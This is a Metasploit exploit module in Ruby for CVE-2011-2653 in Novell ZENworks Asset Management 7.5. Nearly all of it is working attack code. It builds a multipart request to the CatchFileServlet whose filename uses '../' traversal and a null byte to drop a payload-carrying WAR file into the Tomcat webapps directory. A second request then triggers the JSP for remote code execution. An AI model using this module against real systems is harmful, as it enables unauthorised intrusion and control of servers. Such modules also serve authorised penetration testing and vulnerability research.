Novell ZENworks Asset Management Remote Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Novell ZENworks Asset Management Remote Execution',
            'Description' => %q{
                    This module exploits a path traversal flaw in Novell ZENworks Asset Management
                7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file
                outside of the MalibuUploadDirectory and then make a secondary request that allows
                for arbitrary code execution.
            },
            'Author'         =>
                [
                    'Unknown', # Vulnerability discovery
                    'juan vazquez' # Metasploit module
                ],
            'License'     => MSF_LICENSE,
            'References'  =>
                [
                    [ 'CVE', '2011-2653' ],
                    [ 'OSVDB', '77583' ],
                    [ 'BID', '50966' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ],
                    [ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]
                ],
            'Privileged'  => true,
            'Platform'    => [ 'java' ],
            'Targets'     =>
                [
                    [ 'Java Universal',
                        {
                            'Arch' => ARCH_JAVA,
                            'Platform' => 'java'
                        },
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Nov 02 2011'))

        register_options(
            [
                Opt::RPORT(8080),
                OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])
            ], self.class )
    end

    def exploit

        # Generate the WAR containing the payload
        app_base = rand_text_alphanumeric(4+rand(32-4))
        jsp_name = rand_text_alphanumeric(8+rand(8))
        war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

        uid  = rand_text_alphanumeric(34).to_s

        data =  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"
        data << "prod\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"
        data << "newreport\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"
        data << "n\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
        data << "malibu.StartImportPAC\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"
        data << "malibu.StartImportPAC\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"
        data << "MM/dd/yyyy\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"
        data << "$\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"
        data << "start\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"
        data << ",\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"
        data << ".\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"
        data << "-\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"
        data << "yes\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"
        data << "Content-Type: application/octet-stream\r\n\r\n"
        data << war_data
        data << "\r\n"
        data <<  "------#{uid}\r\n"
        data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"
        data << "Html/UploadSuccess.html\r\n"
        data <<  "------#{uid}--\r\n"

        res = send_request_cgi(
            {
                'uri'    => "/rtrlet/catch",
                'method' => 'POST',
                'ctype'   => "multipart/form-data; boundary=----#{uid}",
                'data'    => data,
            })

        print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

        select(nil, nil, nil, 10)

        if (res.code == 500)
            print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
                send_request_raw(
                    {
                        'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
                        'method' => 'GET',
                    })
        else
            print_error("WAR upload failed...")
        end

    end

end